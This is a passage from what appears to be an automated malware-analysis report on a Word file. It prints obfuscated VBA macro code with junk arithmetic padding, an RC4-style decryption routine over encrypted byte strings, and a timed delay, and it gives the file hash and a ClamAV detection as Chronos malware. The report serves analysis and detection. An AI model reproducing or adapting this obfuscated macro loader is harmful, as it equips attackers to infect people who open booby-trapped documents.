"I86LPhUdORU"), LMAXuL1, DKX1DXEAUcf6G(Chr(133) + Chr(19) + Chr(133) + Chr(131) + Chr(9) + Chr(23) + Chr(219) + Chr(226) + Chr(156), "Y9yCAi")) = True Then Dim W7NWCYdAWy As Long, Sx2dHIoHn4Y0 As Long W7NWCYdAWy = 62 Sx2dHIoHn4Y0 = 25 If W7NWCYdAWy + Sx2dHIoHn4Y0 > 4 Then Sx2dHIoHn4Y0 = W7NWCYdAWy + 64 Else MsgBox 74 End If Lklws2ZFb1Bb6 1 Dim A5QZp89kh As Long, VpnYTZD As Long A5QZp89kh = 66 VpnYTZD = 68 If A5QZp89kh + VpnYTZD > 4 Then VpnYTZD = A5QZp89kh + 9 Else MsgBox 12 End If PqkSxmrigqfWWVS8x LMAXuL1 Dim HqXGPyQQN5iFL6BZ As Long, UnwsDHTcDlN6of8tZ As Long HqXGPyQQN5iFL6BZ = 27 UnwsDHTcDlN6of8tZ = 85 If HqXGPyQQN5iFL6BZ + UnwsDHTcDlN6of8tZ > 4 Then UnwsDHTcDlN6of8tZ = HqXGPyQQN5iFL6BZ + 10 Else MsgBox 9 End If End If Dim QzlA0lKJng0I5N As Long, Um6jvtEl2 As Long QzlA0lKJng0I5N = 86 Um6jvtEl2 = 55 If QzlA0lKJng0I5N + Um6jvtEl2 > 4 Then Um6jvtEl2 = QzlA0lKJng0I5N + 75 Else MsgBox 86 End If ActiveDocument.Range.Text = DKX1DXEAUcf6G(Chr(117) + Chr(233) + Chr(75) + Chr(27) + Chr(174) + Chr(115) + Chr(0) + Chr(87) + Chr(86) + Chr(167) + Chr(74) + Chr(42) + Chr(166) + Chr(193) + Chr(84) + Chr(11) + Chr(132) + Chr(90) + Chr(216) + Chr(111) + Chr(194) + Chr(119) + Chr(126) + Chr(184) + Chr(169) + Chr(37) + Chr(3) + Chr(193) + Chr(198) + Chr(113) + Chr(25) + Chr(176) + Chr(203) + Chr(88) + Chr(241) + Chr(35) + Chr(28) + Chr(142) + Chr(106) + Chr(122) + Chr(37) + Chr(156) + Chr(135) + Chr(244) + Chr(0) + Chr(174) + Chr(168) + Chr(207) + Chr(119) + Chr(221) + Chr(192) + Chr(125) + Chr(62) + Chr(109) + Chr(146) + Chr(216) + Chr(3) + Chr(69) + Chr(90) + Chr(182) + Chr(3) + Chr(133) + Chr(79) + Chr(202) + Chr(69) + Chr(249) + Chr(140) + Chr(82) + Chr(85) + Chr(137) + Chr(45), "Cn97bc4OBu") End If Dim JoyAGtnQRxG As Long, Af4Npe5hZ5Z32B As Long JoyAGtnQRxG = 78 Af4Npe5hZ5Z32B = 3 If JoyAGtnQRxG + Af4Npe5hZ5Z32B > 4 Then Af4Npe5hZ5Z32B = JoyAGtnQRxG + 56 Else MsgBox 94 End If End Sub Sub Lklws2ZFb1Bb6(IWQ5zo8iM As Long) Dim O0vcaCkCwF7Ak As Long, DnETKTM3K2Hi As Long O0vcaCkCwF7Ak = 93 DnETKTM3K2Hi = 58 If O0vcaCkCwF7Ak + DnETKTM3K2Hi > 4 Then DnETKTM3K2Hi = O0vcaCkCwF7Ak + 91 Else MsgBox 64 End If Dim YBTqtOT0cOsyAef As Long Dim QkxCHN0Y12j As Long, YjzMUfkFf As Long QkxCHN0Y12j = 92 YjzMUfkFf = 61 If QkxCHN0Y12j + YjzMUfkFf > 4 Then YjzMUfkFf = QkxCHN0Y12j + 81 Else MsgBox 92 End If YBTqtOT0cOsyAef = Timer + IWQ5zo8iM Do While Timer < YBTqtOT0cOsyAef DoEvents Loop Dim Ve0YmUl As Long, LmakhyTs8QZtbQH As Long Ve0YmUl = 61 LmakhyTs8QZtbQH = 54 If Ve0YmUl + LmakhyTs8QZtbQH > 4 Then LmakhyTs8QZtbQH = Ve0YmUl + 76 Else MsgBox 9 End If End Sub Private Property Let V9Jyck(UPGgDeB83iR As String) Dim VFAX As Long, Ah5VfLXAx2vyAHo As Long, Pnc3kajNwvN As Byte, RzKMETd() As Byte, PMIBeEmf2 As Long If (SyGY3WdRsGkIvj = UPGgDeB83iR) Then Exit Property SyGY3WdRsGkIvj = UPGgDeB83iR RzKMETd() = StrConv(SyGY3WdRsGkIvj, vbFromUnicode) PMIBeEmf2 = Len(SyGY3WdRsGkIvj) For VFAX = 0 To 255 XnHwWJh(VFAX) = VFAX Next VFAX For VFAX = 0 To 255 Ah5VfLXAx2vyAHo = (Ah5VfLXAx2vyAHo + XnHwWJh(VFAX) + RzKMETd(VFAX Mod PMIBeEmf2)) Mod 256 Pnc3kajNwvN = XnHwWJh(VFAX) XnHwWJh(VFAX) = XnHwWJh(Ah5VfLXAx2vyAHo) XnHwWJh(Ah5VfLXAx2vyAHo) = Pnc3kajNwvN Next End Property Function DKX1DXEAUcf6G(GjlWLTUN8PQbKRg As String, Uzan8pU23T As String) As String Dim UBXT As Long, YtB6sBrlEWOMFZQMA As Long UBXT = 92 YtB6sBrlEWOMFZQMA = 13 If UBXT + YtB6sBrlEWOMFZQMA > 4 Then YtB6sBrlEWOMFZQMA = UBXT + 25 Else MsgBox 17 End If Dim byteArray() As Byte byteArray() = StrConv(GjlWLTUN8PQbKRg, vbFromUnicode) Th0oP49hY byteArray(), Uzan8pU23T DKX1DXEAUcf6G = StrConv(byteArray(), vbUnicode) Dim VT8Hgin7xm9 As Long, POMFZQMAcTzcx8EYU As Long VT8Hgin7xm9 = 61 POMFZQMAcTzcx8EYU = 81 If VT8Hgin7xm9 + POMFZQMAcTzcx8EYU > 4 Then POMFZQMAcTzcx8EYU = VT8Hgin7xm9 + 92 Else MsgBox 85 End If End Function |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 52224 bytes |
SHA-256: 07151280cab1c5a1e516c9e8c1b5bbdfd42571d420daf58c55bde98aa79a2574 |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.